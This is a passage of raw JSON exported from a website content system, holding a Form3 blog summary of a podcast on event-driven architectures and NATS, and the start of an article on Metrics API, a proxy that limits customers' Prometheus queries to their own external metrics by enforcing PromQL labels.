it.",[],"rich_text$b3e17f74-a4e1-4460-b268-f78627ed762a",{"id":1875,"uid":1876,"url":1877,"type":406,"href":1878,"tags":1879,"first_publication_date":1880,"last_publication_date":1573,"slugs":1881,"linked_documents":1883,"lang":386,"alternate_languages":1884,"data":1885},"alz0shEAACwAUWZR","podcast-whats-new-nats","\u002Fresources\u002Fengineering-blog\u002Fpodcast-whats-new-nats","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz0shEAACwAUWZR%22%29+%5D%5D",[],"2026-07-19T16:22:00+0000",[1882],"ep-44-.tech---whats-new-in-nats",[],[],{"title":1886,"excerpt":1887,"card_image":1888,"published_date":1893,"reading_time":667,"tag":427,"dek":1887,"featured_image":1894,"about_form3":1899,"client_about_heading":13,"client_about_body":1900,"author_name":1277,"author_title":1278,"author_photo":1901,"author_bio":1904,"author_linkedin":1907,"slices":1909,"meta_title":1886,"meta_description":1887},".tech Podcast - What's new in NATS?","Byron is the Director of Developer Relations at Synadia. He explains what event-driven architectures are and how they can help build more resilient systems. Then, he covers the fundamentals of NATS and gives us a peek into upcoming features, which include the new Synadia Control Plane project.",{"dimensions":1889,"alt":1886,"copyright":13,"url":1890,"id":1891,"edit":1892},{"width":420,"height":420},"\u002F_prismic-media\u002Ff7418c54f800ef56-KPSsSuf7L5skKcwE_podcast-whats-new-nats.png","KPSsSuf7L5skKcwE",{"x":17,"y":17,"zoom":18,"background":19},"2023-06-14",{"dimensions":1895,"alt":13,"copyright":13,"url":1896,"id":1897,"edit":1898},{"width":1270,"height":1271},"\u002F_prismic-media\u002F2c1d49d08c4a1840-L4o1aRpqEAWK5OVb_3a01534e-924e-484d-bab8-62524b5.jpg","L4o1aRpqEAWK5OVb",{"x":17,"y":17,"zoom":18,"background":424},[],[],{"dimensions":1902,"alt":1277,"copyright":13,"url":1282,"id":1283,"edit":1903},{"width":443,"height":1281},{"x":17,"y":17,"zoom":18,"background":424},[1905],{"type":396,"text":1287,"spans":1906},[],{"link_type":453,"key":1908,"url":1291,"target":456},"1a70b08c-7fcc-4f58-8466-d86778069cea",[1910,1930,1947,1973,2023,2092],{"variation":459,"version":481,"items":1911,"primary":1912,"id":1929,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":1913,"body":1917,"cta_label":1304,"cta_link":1920,"aside_type":13,"aside_image":1923,"aside_video":1924,"aside_video_poster":1925,"aside_video_reduced_motion":1926,"aside_video_url":13,"aside_embed":1927,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":1928,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[1914],{"type":465,"text":1915,"spans":1916},"Ep 44 .tech - What's new in NATS?",[],[1918],{"type":396,"text":1302,"spans":1919},[],{"link_type":453,"key":1921,"url":1922},"3e894b8d-fa61-4c6a-9d5a-b0840d6d5d32","https:\u002F\u002Ftechpodcast.form3.tech\u002Fepisodes\u002Fep-44-tech-whats-new-in-nats-RT6Vthx4",{},{"link_type":493},{},{},{},{"link_type":499},"content_block$3c6f95b5-57d8-4468-9f15-e6ec6041613f",{"variation":459,"version":460,"items":1931,"primary":1932,"id":1946,"slice_type":479,"slice_label":13},[],{"body":1933},[1934],{"type":396,"text":1935,"spans":1936},"Byron Ruth is Director of Developer Relations at Synadia, who are the maintainers of NATS.io. Byron is a long time NATS user and has a background in health tech. He has extensive experience developing data pipelines, integrating data, ETL and building applications. As he got more and more involved with the NATS community, the opportunity to join the team and advocate for the technology he really believed in was a no-brainer.",[1937,1940,1943],{"start":17,"end":426,"type":744,"data":1938},{"link_type":453,"url":1939,"target":456},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fbyron-ruth\u002F",{"start":476,"end":662,"type":744,"data":1941},{"link_type":453,"url":1942,"target":456},"https:\u002F\u002Fwww.linkedin.com\u002Fcompany\u002Fsynadia-communications\u002F",{"start":1406,"end":1508,"type":744,"data":1944},{"link_type":453,"url":1945,"target":456},"https:\u002F\u002Fnats.io\u002F","rich_text$8dcc8e43-0b27-47e3-af1e-47f5e3c99293",{"variation":459,"version":460,"items":1948,"primary":1949,"id":1972,"slice_type":479,"slice_label":13},[],{"body":1950},[1951,1954,1961,1964,1968],{"type":465,"text":1952,"spans":1953},"Introduction to event-driven architectures",[],{"type":396,"text":1955,"spans":1956},"Byron explains that event-driven architectures are all about the inversion of how information flows through a system. When you think of point to point interactions, you will typically think of a call stack. The second you introduce a network and multiple services, you need to concern yourself with decoupling space and time through asynchrony.",[1957,1958],{"start":1557,"end":1443,"type":780},{"start":1959,"end":1960,"type":780},333,343,{"type":396,"text":1962,"spans":1963},"One example is a simple CRUD application, which has an API and creates or updates a record in the database. Even if this system does not record an event, something happened which mutated the state of your data. At this point, you don't have any historical reference or values of the state of the data. In an event-driven approach, you can still update state in place, but you record an event out of band. Then the processing service responsible for actioning the work can pick up the event, and perform the work when it's got the availability to do it.",[],{"type":396,"text":1965,"spans":1966},"The happy path happens immediately, within milliseconds, but the introduction of event-driven architectures allows us to decouple complex systems. Fundamentally, the inversion of how information flows through the system means that we don't broadcast information out synchronously and avoid failure domains. Event-driven architectures don't necessarily have to have higher latencies. There are some roundtrip times that must take place over TCP connections, but the removal of dependencies between components amortises the cost over time. The latencies can even be less perceivable by the user.",[1967],{"start":667,"end":1342,"type":780},{"type":396,"text":1969,"spans":1970},"Request-Reply interactions are what everyone associates with the web and they must happen immediately to ensure a good user experience. Everything behind the scenes can be asynchronous and event-driven, but design decisions must be made according to the expectations of your system. A purely synchronous call stack will lead to a more fragile system that will require layers of backoffs and retries. Inverting the information flow through event-driven architectures will lead to much higher flexibility.",[1971],{"start":17,"end":1403,"type":780},"rich_text$6f2526f3-04fb-4b07-bb05-6343e39fb6c7",{"variation":459,"version":460,"items":1974,"primary":1975,"id":2022,"slice_type":479,"slice_label":13},[],{"body":1976},[1977,1980,1987,1990,1994,2001,2006,2011],{"type":465,"text":1978,"spans":1979},"Common communication patterns",[],{"type":396,"text":1981,"spans":1982},"Byron references the book \"Enterprise Integration Patterns\" by Gregor Hohpe and Bobby Woolf, which was published 20 years ago. In this book, Gregor explains that when you design a system there are typically two components that need to talk to one another. All the work typically focuses on the components, but all the design decisions are actually in the communication between those components.",[1983],{"start":596,"end":1984,"type":744,"data":1985},91,{"link_type":453,"url":1986,"target":456},"https:\u002F\u002Fwww.enterpriseintegrationpatterns.com\u002F",{"type":396,"text":1988,"spans":1989},"Byron mentions a few communication patterns:",[],{"type":1101,"text":1991,"spans":1992},"Request-Reply defines an expected recipient of a message and the sender expects a reply back. Behind the scenes, especially with HTTP-based systems, a load balancer will distribute work in order to service that request.",[1993],{"start":17,"end":1403,"type":780},{"type":1101,"text":1995,"spans":1996},"One to Many or Fan Out broadcasts a single message to many subscribers. You will typically need a message broker that can handle the publish-subscribe semantics.",[1997,1999],{"start":17,"end":1998,"type":780},11,{"start":2000,"end":579,"type":780},15,{"type":1101,"text":2002,"spans":2003},"Similarly, the Many to One or Fan In approach defines one single consumer of a plethora of different types of events from different publishers.",[2004,2005],{"start":2000,"end":596,"type":780},{"start":555,"end":546,"type":780},{"type":1101,"text":2007,"spans":2008},"A Queue Group style of communication defines a single requestor which then sees the work distributed to multiple members of the group.",[2009],{"start":2010,"end":1403,"type":780},2,{"type":396,"text":2012,"spans":2013},"Many people will be familiar with Amazon SQS and Amazon SNS as event-driven technologies.",[2014,2018],{"start":1363,"end":2015,"type":744,"data":2016},44,{"link_type":453,"url":2017,"target":456},"https:\u002F\u002Faws.amazon.com\u002Fsqs\u002F",{"start":476,"end":2019,"type":744,"data":2020},59,{"link_type":453,"url":2021,"target":456},"https:\u002F\u002Faws.amazon.com\u002Fsns\u002F","rich_text$ea48cf34-0955-4b88-a9a7-9d970a8eccf1",{"variation":459,"version":460,"items":2024,"primary":2025,"id":2091,"slice_type":479,"slice_label":13},[],{"body":2026},[2027,2030,2033,2050,2054,2061,2078],{"type":465,"text":2028,"spans":2029},"Introduction to NATS",[],{"type":396,"text":2031,"spans":2032},"Byron tells us that NATS is a high performance, open-source technology, enabling global connectivity of services and data, spanning from cloud to edge. He will unpack every single component of this one-line definition for us.",[],{"type":396,"text":2034,"spans":2035},"NATS was originally designed in 2011 by Derek Collison, who is also the founder of Synadia. It was designed as a low latency, high performance messaging broker to power Cloud Foundry. There was no message persistence, so it was Fire and Forget communication.",[2036,2039,2044,2047],{"start":17,"end":667,"type":744,"data":2037},{"link_type":453,"url":2038,"target":456},"https:\u002F\u002Fdocs.nats.io\u002Fnats-concepts\u002Foverview",{"start":2040,"end":2041,"type":744,"data":2042},40,54,{"link_type":453,"url":2043,"target":456},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fderekcollison\u002F",{"start":549,"end":1524,"type":744,"data":2045},{"link_type":453,"url":2046,"target":456},"https:\u002F\u002Fwww.synadia.com\u002Fabout",{"start":2048,"end":2049,"type":780},228,243,{"type":396,"text":2051,"spans":2052},"One of the key design decisions of NATS was the notion of Subject Based Addressing which makes it possible to connect components without needing to know the addresses of the other components in the system. In NATS, you address a message by a subject. Subscribers can then subscribe to subjects, which also offer wild card support. Conceptually, you get a location transparent system, without needing to pre-create them ahead of time.",[2053],{"start":556,"end":899,"type":780},{"type":396,"text":2055,"spans":2056},"NATS is a single 16MB Go binary with no other external dependencies. This makes it possible to embed it in other programs or deploy a supercluster spanning the entire globe. Leaf nodes run the same binary, but in a mode that is suitable to edge locations that might be disconnected often. Examples of these kinds of use cases are oil rigs, low orbit satellites, automobiles, etc. NATS creates a hub and spoke model that allows you to extend to the edge.",[2057,2058],{"start":432,"end":1490,"type":780},{"start":2059,"end":2060,"type":780},395,414,{"type":396,"text":2062,"spans":2063},"Persistence was added using the JetStream project. It is part of the same binary as NATS and allows you to create streams and consumers. Streams bind one or more subjects together and their responsibility is to persist their messages, ensuring that the messages are no longer dropped if no consumer is available. Consumers are fundamentally a view of the messages in a stream. They allow you to perform server side filtering of messages, ensuring that you only spend time delivering the messages that are relevant to the subscribing service. Key-Value abstractions and Object-Store abstractions are also built on top of stream primitives.",[2064,2067,2072,2073,2077],{"start":515,"end":476,"type":744,"data":2065},{"link_type":453,"url":2066,"target":456},"https:\u002F\u002Fdocs.nats.io\u002Fnats-concepts\u002Fjetstream",{"start":2068,"end":2069,"type":744,"data":2070},114,121,{"link_type":453,"url":2071,"target":456},"https:\u002F\u002Fdocs.nats.io\u002Fnats-concepts\u002Fjetstream\u002Fstreams",{"start":2068,"end":2069,"type":780},{"start":1536,"end":2074,"type":744,"data":2075},135,{"link_type":453,"url":2076,"target":456},"https:\u002F\u002Fdocs.nats.io\u002Fnats-concepts\u002Fjetstream\u002Fconsumers",{"start":1536,"end":2074,"type":780},{"type":396,"text":2079,"spans":2080},"A stream has two internal implementations for persistence: file store and in-memory store. When you create a stream, it provides a variety of configuration options for retention policy and replication factor. You can specify the number of replicas for your data and NATS will implement the RAFT protocol. This is a purpose built implementation that relies on the NATS messaging core. The RAFT protocol provides guarantees for outage toleration without message loss. The RAFT protocol only requires a quorum of replicas in order to successfully write data whenever possible. Topology design suggestions for NATS are typically a cluster with servers spread across availability zones within a region. You can deploy the cluster across multiple regions if you want to tolerate an entire region going offline.",[2081,2083,2088],{"start":853,"end":2082,"type":780},207,{"start":2084,"end":2085,"type":744,"data":2086},290,303,{"link_type":453,"url":2087,"target":456},"https:\u002F\u002Fraft.github.io\u002F",{"start":2089,"end":2090,"type":780},500,506,"rich_text$d34700b5-45b4-4010-885a-0f578aacd7d2",{"variation":459,"version":460,"items":2093,"primary":2094,"id":2159,"slice_type":479,"slice_label":13},[],{"body":2095},[2096,2099,2106,2110,2114,2121,2132,2135,2141,2147,2153],{"type":465,"text":2097,"spans":2098},"New features",[],{"type":396,"text":2100,"spans":2101},"Byron shares some upcoming NATS features in the 2.10 release:",[2102],{"start":516,"end":2103,"type":744,"data":2104},60,{"link_type":453,"url":2105,"target":456},"https:\u002F\u002Fgithub.com\u002Fnats-io\u002Fnats-server\u002Freleases",{"type":1101,"text":2107,"spans":2108},"The newly built auth callout allows to hook into custom identity providers alongside the NATS decentralised authorisation model. The response from the auth callout dynamically generates JWT tokens from the company specific identity providers.",[2109],{"start":595,"end":1071,"type":780},{"type":1101,"text":2111,"spans":2112},"A V2 networking or routing is a performance improvement. It will make it possible to route traffic through a small number of TCP connections by allowing services to be pinned to specific TCP connections.",[2113],{"start":2010,"end":596,"type":780},{"type":396,"text":2115,"spans":2116},"The Synadia Control Plane was recently announced GA. It provides an easy way to get started with NATS through a unified control plane with a single UI that is easy to manage. It includes system wide observability of servers as well as client connections, as well as best practice alerting.",[2117],{"start":667,"end":2118,"type":744,"data":2119},25,{"link_type":453,"url":2120,"target":456},"https:\u002F\u002Fwww.synadia.com\u002Fblog\u002Fannouncing-the-general-availability-of-synadia-control-plane",{"type":396,"text":2122,"spans":2123},"NATS is open-source and you can see how to get involved on the contributor guide. Byron got started with NATS this way himself. The NATS community is very active on Slack as well, where you can get any questions answered.",[2124,2127],{"start":1734,"end":688,"type":744,"data":2125},{"link_type":453,"url":2126,"target":456},"https:\u002F\u002Fnats.io\u002Fcontributing\u002F",{"start":2128,"end":2129,"type":744,"data":2130},165,170,{"link_type":453,"url":2131,"target":456},"https:\u002F\u002Fslack.nats.io\u002F",{"type":396,"text":2133,"spans":2134},"Here are some further resources from Byron where you can learn more about NATS:",[],{"type":1101,"text":2136,"spans":2137},"NATS by Example",[2138],{"start":17,"end":2000,"type":744,"data":2139},{"link_type":453,"url":2140,"target":456},"https:\u002F\u002Fnatsbyexample.com\u002F",{"type":1101,"text":2142,"spans":2143},"NATS newsletter",[2144],{"start":17,"end":2000,"type":744,"data":2145},{"link_type":453,"url":2146,"target":456},"https:\u002F\u002Fsynadia.com\u002Fnewsletter",{"type":1101,"text":2148,"spans":2149},"Synadia screencast",[2150],{"start":17,"end":905,"type":744,"data":2151},{"link_type":453,"url":2152,"target":456},"https:\u002F\u002Fwww.synadia.com\u002Fscreencast",{"type":1101,"text":2154,"spans":2155},"Synadia Developer Education questionnaire",[2156],{"start":17,"end":580,"type":744,"data":2157},{"link_type":453,"url":2158,"target":456},"https:\u002F\u002Fforms.gle\u002FyhCq4WDfSp4KULEF9","rich_text$aaf190fa-537c-4cce-ba89-52532074d855",{"id":2161,"uid":2162,"url":2163,"type":406,"href":2164,"tags":2165,"first_publication_date":1880,"last_publication_date":1573,"slugs":2166,"linked_documents":2168,"lang":386,"alternate_languages":2169,"data":2170},"alz0thEAAC4AUWZY","customers-incidents-prometheus","\u002Fresources\u002Fengineering-blog\u002Fcustomers-incidents-prometheus","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz0thEAAC4AUWZY%22%29+%5D%5D",[],[2167],"introduction",[],[],{"title":2171,"excerpt":2172,"card_image":2173,"published_date":2178,"reading_time":426,"tag":427,"dek":2172,"featured_image":2179,"about_form3":2186,"client_about_heading":13,"client_about_body":2187,"author_name":2188,"author_title":2189,"author_photo":2190,"author_bio":2195,"author_linkedin":2199,"slices":2202,"meta_title":2171,"meta_description":2172},"Keeping Customers Informed During Incidents with Prometheus","Maintaining customer satisfaction during incidents is crucial for any business. In this blogpost, Piotr shares how we leverage Prometheus to expose business metrics in a secure and cost-effective way to keep customers informed and happy during those stressful situations.",{"dimensions":2174,"alt":2171,"copyright":13,"url":2175,"id":2176,"edit":2177},{"width":420,"height":420},"\u002F_prismic-media\u002F809eecd024b1b653-2S-xkmbGorib_XhJ_customers-incidents-prometheus.","2S-xkmbGorib_XhJ",{"x":17,"y":17,"zoom":18,"background":424},"2023-05-24",{"dimensions":2180,"alt":13,"copyright":13,"url":2183,"id":2184,"edit":2185},{"width":2181,"height":2182},2074,1093,"\u002F_prismic-media\u002F68943a5e4c1202c9-632uFugrcb8BB-t1_d3635d02-6801-4190-93fc-7ca329e.svg","632uFugrcb8BB-t1",{"x":17,"y":17,"zoom":18,"background":424},[],[],"Piotr Olchawa","Lead | Data Services",{"dimensions":2191,"alt":2188,"copyright":13,"url":2192,"id":2193,"edit":2194},{"width":443,"height":1281},"\u002F_prismic-media\u002F30903de7c81934a1-ZKj-rGtieuuOecDa_1bc04adb-d891-403e-8af3-ce77d25.jpg","ZKj-rGtieuuOecDa",{"x":17,"y":17,"zoom":18,"background":424},[2196],{"type":396,"text":2197,"spans":2198},"Piotr is an experienced technical leader, previously leading the FRAML (Fraud and anti-money laundering) team and now leading the engineering team responsible for implementing Data Mesh at Form3. With a focus on driving the data transformation of the organisation, Piotr is committed to creating a performant, self-serve data platform and bringing cutting-edge data management solutions to internal and external stakeholders.",[],{"link_type":453,"key":2200,"url":2201,"target":456},"87a2cb14-10fc-4bb0-aa1c-f7404766b28e","https:\u002F\u002Fpl.linkedin.com\u002Fin\u002Fpolchawa",[2203,2228,2256,2271,2302,2310,2334,2400,2419,2452,2461,2483,2491,2503,2553,2561,2569,2577,2587,2595,2603,2622,2640],{"variation":459,"version":460,"items":2204,"primary":2205,"id":2227,"slice_type":479,"slice_label":13},[],{"body":2206},[2207,2210,2213,2216,2219,2224],{"type":465,"text":2208,"spans":2209},"Introduction",[],{"type":396,"text":2211,"spans":2212},"In today's rapidly-evolving digital landscape, a strong online presence and seamless service delivery are crucial for businesses to keep their competitive edge. For industries such as payments, where interruptions in service can result in significant financial and reputational consequences, incident management is especially critical.",[],{"type":396,"text":2214,"spans":2215},"In the past, businesses relied on basic processes to detect and respond to incidents, such as posting updates on social media platforms like Twitter. Unfortunately, these approaches often resulted in slow response times and poorly structured communication with customers. As customer expectations continue to rise, mature incident management processes have become essential. While it's impossible to completely prevent incidents, businesses must have reliable and robust processes in place to detect, respond, and communicate effectively during incidents.",[],{"type":396,"text":2217,"spans":2218},"At Form3, we take our incident management processes a step further by providing customers with the ability to integrate product metrics into their incident response procedures. Unlike many third-party providers who only offer dashboard displays of their products, we offer our customers the ability to fetch and convert Prometheus metrics into different formats, enabling seamless integration with their chosen monitoring solutions. This means our customers are able to assess the impact of the outage, enabling them to take their own mitigation steps and communicate effectively with customers of their own.",[],{"type":396,"text":2220,"spans":2221},"While our approach offers many benefits and significant value for our customers, it also presents a unique set of challenges on both technical and organisational levels. In this series, we will guide you through our complete solution, with a focus on metric consumption in this first article, followed by two subsequent articles. Part 2 (link to follow!) will focus on secure and effective method of metric ingestion. In Part 3 we will zoom out to the organisational level and the challenges that come with effective implementation of this product.",[2222],{"start":2223,"end":1243,"type":780},338,{"type":396,"text":2225,"spans":2226},"Let's begin!",[],"rich_text$72d8bd67-7bec-4765-b518-84f3d3e491d5",{"variation":459,"version":460,"items":2229,"primary":2230,"id":2255,"slice_type":479,"slice_label":13},[],{"body":2231},[2232,2235,2238,2243,2246,2249,2252],{"type":465,"text":2233,"spans":2234},"Metrics Isolation Problem",[],{"type":396,"text":2236,"spans":2237},"As previously mentioned, Form3's preferred monitoring system is Prometheus. While we won't delve too deeply into the specifics of its functionality, it is a cloud-agnostic, open-source project licensed under Apache 2.0, solution that provides us with the ability to monitor our infrastructure and applications using metrics such as counters, gauges, and histograms. We utilise these metrics in a number of ways, including using them in conjunction with Grafana, which is a metric, logs and tracing visualisation software. We are using their SaaS offering that enables us to focus on value added services, exactly like the one described in this article. These tools provide benefits both from a debugging perspective of our systems and for alerting purposes that summon on-call engineers when something goes bad. To make metrics easily explorable and engineer-friendly, we typically store them in a single storage location per environment, with isolation between environments to prevent errors in one environment from affecting another. Nonetheless, this approach presents a challenge:",[],{"type":396,"text":2239,"spans":2240},"How do we split metrics, make them accessible to customers and not break a bank at the same time?",[2241,2242],{"start":17,"end":1512,"type":780},{"start":17,"end":1512,"type":477},{"type":396,"text":2244,"spans":2245},"The problem is that External Metrics are stored in the same location as internal metrics, and creating a separate storage location would be costly in terms of additional servers and fees, especially as we are a multi-tenant platform. Storing metrics separately for each customer is just not feasible.",[],{"type":1097,"text":2247,"spans":2248},"Enter Metrics API",[],{"type":396,"text":2250,"spans":2251},"To address this issue, we have developed Metrics API, a query-enhancing service that enables us to store all metrics together while still providing access to a subset of external metrics.",[],{"type":396,"text":2253,"spans":2254},"Metrics API will serve as an intermediary between our Prometheus server and our customers. When a customer wants to access their metrics, Metrics API will authenticate their request and check if they have access rights based on their organisation ID. If authorised, Metrics API will execute a PromQL query against the Prometheus server to retrieve the requested metrics and return them to the customer.",[],"rich_text$31fca636-e766-4d02-b602-594a83ae75ba",{"variation":459,"version":481,"items":2257,"primary":2258,"id":2270,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":2259,"body":2260,"cta_label":13,"cta_link":2261,"aside_type":488,"aside_image":2262,"aside_video":2265,"aside_video_poster":2266,"aside_video_reduced_motion":2267,"aside_video_url":13,"aside_embed":2268,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":2269,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[],{"link_type":487},{"dimensions":2263,"alt":13,"copyright":13,"url":2183,"id":2184,"edit":2264},{"width":2181,"height":2182},{"x":17,"y":17,"zoom":18,"background":424},{"link_type":493},{},{},{},{"link_type":499},"content_block$17226b04-3a10-422d-9000-4517aad0f598",{"variation":459,"version":460,"items":2272,"primary":2273,"id":2301,"slice_type":479,"slice_label":13},[],{"body":2274},[2275,2278,2281,2289,2292],{"type":396,"text":2276,"spans":2277},"To implement this solution, we will expose this service via an API gateway that will handle the authentication and authorisation of the requests. The API gateway will also handle rate limiting and other security-related concerns.",[],{"type":1097,"text":2279,"spans":2280},"Slice & Dice Metrics",[],{"type":396,"text":2282,"spans":2283},"In order to separate internal and external metrics while minimising costs, Metrics API service splits metrics into subsets based on their labels. This is possible thanks to PromQL (Prometheus Query Language), which allows us to slice and dice metrics in various ways, given the source of the metric assigns special labels to it to indicate its dimensions.",[2284],{"start":2285,"end":2286,"type":744,"data":2287},173,179,{"link_type":453,"url":2288,"target":456},"https:\u002F\u002Fprometheus.io\u002Fdocs\u002Fprometheus\u002Flatest\u002Fquerying\u002Fbasics\u002F",{"type":396,"text":2290,"spans":2291},"For example, to distinguish between internal and external metrics, we can add a unique label, such as metric_purpose=\"external\". To split them for each customer, we can use a UUID label for each organisation represented on our platform (e.g.: organisation_id=\"UUID\") or anything that identifies the entity for which the metric is produced. Additional dimensions such as a list of products could also be added with labels like origin=\"product_name\". However, we should be aware that each label increases maintenance costs as it introduces new complexities to the code.",[],{"type":396,"text":2293,"spans":2294},"In summary, the following query will retrieve all external metrics for an organisation with a given UUID: {metric_purpose=\"external\", organisation_id=\"UUID\"}. In addition to that Metrics API also includes usability features, such as automatic label filling so customers can submit any valid query, for instance an empty one: {}.",[2295,2298],{"start":2296,"end":2297,"type":780},100,157,{"start":2299,"end":2300,"type":780},325,327,"rich_text$0bf7bf1e-ae72-4f3a-a7e8-d532b0dc7597",{"variation":459,"version":460,"items":2303,"primary":2304,"id":2309,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":2305},[2306],{"type":563,"text":2307,"spans":2308},"# Example request described above\ncurl 'https:\u002F\u002Fexample-request.com\u002Fpath_prefix\u002Fapi\u002Fv1\u002Fquery?query={metrics_api%3D%22external%22%2C%20organisation_id%3D%22d438bef8-a5ea-4aa1-bc1a-d5681e62515c%22%0A}'",[],"code_block$7c736172-2104-4296-a26d-5f1e87a63308",{"variation":459,"version":460,"items":2311,"primary":2312,"id":2333,"slice_type":479,"slice_label":13},[],{"body":2313},[2314,2317,2322],{"type":396,"text":2315,"spans":2316},"So, the problem we're solving with Metrics API is",[],{"type":396,"text":2318,"spans":2319},"How do we enforce the minimal required set of labels on each customers' query?",[2320,2321],{"start":17,"end":601,"type":780},{"start":17,"end":601,"type":477},{"type":396,"text":2323,"spans":2324},"When it comes to providing good isolation of metrics through label selectors, we need to be careful with labels that allow for looser selection, such as organisation_id. For example, if a customer has multiple organisations but only one user to fetch these metrics, on the one hand we would want to allow them to select a subset of organisation IDs instead of just one. On the other hand however, we cannot allow just any regular expression for these labels when the customer has full power for it. Therefore, we only allow a very limited set of regular expressions, such as an alphanumeric string (without special characters) or an alternative of them - organisation_id =~ \"UUID1|UUD2\". Negative queries, such as organisation_id != X, are all forbidden in order to prevent potential security risks. Moreover, we don't need to worry about other labels, as the restricted labels properly narrow down the set of queryable metrics.",[2325,2327,2330],{"start":2326,"end":1550,"type":780},153,{"start":2328,"end":2329,"type":780},655,686,{"start":2331,"end":2332,"type":780},714,734,"rich_text$0e3c7a11-1847-4d90-ada3-a823acb9ce6d",{"variation":459,"version":460,"items":2335,"primary":2336,"id":2399,"slice_type":479,"slice_label":13},[],{"body":2337},[2338,2341,2344,2347,2350,2358,2365,2373,2376,2381,2384,2387,2395],{"type":465,"text":2339,"spans":2340},"The Implementation",[],{"type":396,"text":2342,"spans":2343},"Now that we understand why we need Metrics API, what problem we're trying to solve, and how to do it, let's talk about the implementation.",[],{"type":1097,"text":2345,"spans":2346},"Implementation Scope",[],{"type":396,"text":2348,"spans":2349},"Metrics API is essentially a HTTP proxy that mimics a subset of Prometheus API endpoints. While we won't go into details about the general implementation, we'll focus on the interesting parts: which endpoints we need to implement, how to implement them using Prometheus as a library, and what technical challenges we faced during the implementation.",[],{"type":396,"text":2351,"spans":2352},"The core functionality of Metrics API is to fetch metric data in Prometheus format. In other words we're interested in implementing these three endpoints: \u002Fapi\u002Fv1\u002Fquery, \u002Fapi\u002Fv1\u002Fquery_range, and \u002Ffederate.",[2353,2355,2356],{"start":2354,"end":1550,"type":780},155,{"start":2129,"end":853,"type":780},{"start":1425,"end":2357,"type":780},204,{"type":1101,"text":2359,"spans":2360},"\u002Fapi\u002Fv1\u002Fquery endpoint is used by Grafana, among others, in stat panels to display a current statistic.",[2361,2362],{"start":17,"end":1403,"type":780},{"start":2103,"end":1558,"type":744,"data":2363},{"link_type":453,"url":2364,"target":456},"https:\u002F\u002Fgrafana.com\u002Fdocs\u002Fgrafana\u002Flatest\u002Fpanels-visualizations\u002Fvisualizations\u002Fstat\u002F",{"type":1101,"text":2366,"spans":2367},"\u002Fapi\u002Fv1\u002Fquery_range endpoint is used by Grafana in time series panels to display how the value changes in time.",[2368,2370],{"start":17,"end":2369,"type":780},19,{"start":1326,"end":687,"type":744,"data":2371},{"link_type":453,"url":2372,"target":456},"https:\u002F\u002Fgrafana.com\u002Fdocs\u002Fgrafana\u002Flatest\u002Fpanels-visualizations\u002Fvisualizations\u002Ftime-series\u002F",{"type":396,"text":2374,"spans":2375},"If your customers only use Grafana, these endpoints would suffice. We should also note that while you could implement additional endpoints for querying label names and values, they may not add much value compared to the implementation effort required.",[],{"type":1101,"text":2377,"spans":2378},"\u002Ffederate endpoint, on the other hand, allows Prometheus instances to be federated. One useful scenario is that customers can set up their own Prometheus instance to federate with Metrics API and send alerts based on their custom alerting rules.",[2379],{"start":17,"end":2380,"type":780},9,{"type":1097,"text":2382,"spans":2383},"The Heart of Metrics API",[],{"type":396,"text":2385,"spans":2386},"Now let's move on to the core of the Metrics API service - its query enhancing engine. At Form3, the majority of our services are implemented using Go. Go is a programming language that was developed by Google, with a focus on building efficient, scalable, and reliable software. Because of its simplicity, speed, and ease of use, it is an ideal language for our purposes.",[],{"type":396,"text":2388,"spans":2389},"Prometheus is written in Go, we were able to leverage its functionality with minimal effort to securely parse and enhance incoming PromQL queries. To parse the query, we utilise the ParseExpr function from the github.com\u002Fprometheus\u002Fprometheus\u002Fpromql\u002Fparser package, which returns an expression struct that represents the abstract syntax tree of the input query.",[2390,2392],{"start":1420,"end":2391,"type":780},191,{"start":2393,"end":2394,"type":780},210,256,{"type":396,"text":2396,"spans":2397},"As an example, consider the following Prometheus query: rate(http_requests_total{job=\"api-server\"}[5m]). The corresponding abstract syntax tree is shown below:",[2398],{"start":662,"end":550,"type":780},"rich_text$36e90b5c-200c-4c3a-aaa9-10d0d5208072",{"variation":459,"version":481,"items":2401,"primary":2402,"id":2418,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":2403,"body":2404,"cta_label":13,"cta_link":2405,"aside_type":488,"aside_image":2406,"aside_video":2413,"aside_video_poster":2414,"aside_video_reduced_motion":2415,"aside_video_url":13,"aside_embed":2416,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":2417,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[],{"link_type":487},{"dimensions":2407,"alt":13,"copyright":13,"url":2410,"id":2411,"edit":2412},{"width":2408,"height":2409},4976,2045,"\u002F_prismic-media\u002F5483f230964d4d7b-ZLdUvMCCMRCtPZej_b634013a-9a51-4a8f-9db1-43e9dc0.png","ZLdUvMCCMRCtPZej",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$7b298ad8-e667-486d-acb3-e77b74d4a0b1",{"variation":459,"version":460,"items":2420,"primary":2421,"id":2451,"slice_type":479,"slice_label":13},[],{"body":2422},[2423,2437,2442],{"type":396,"text":2424,"spans":2425},"The AST shows the structure of the query in a tree-like format, where each node represents an operation or function call, and its children represent the arguments or operands. In this case, the top-level node is a function call to the rate function, which has two arguments: a vector selector and a duration scalar. The vector selector is itself a function call to the http_requests_total metric, with a label matcher that selects only the metrics with a job label equal to 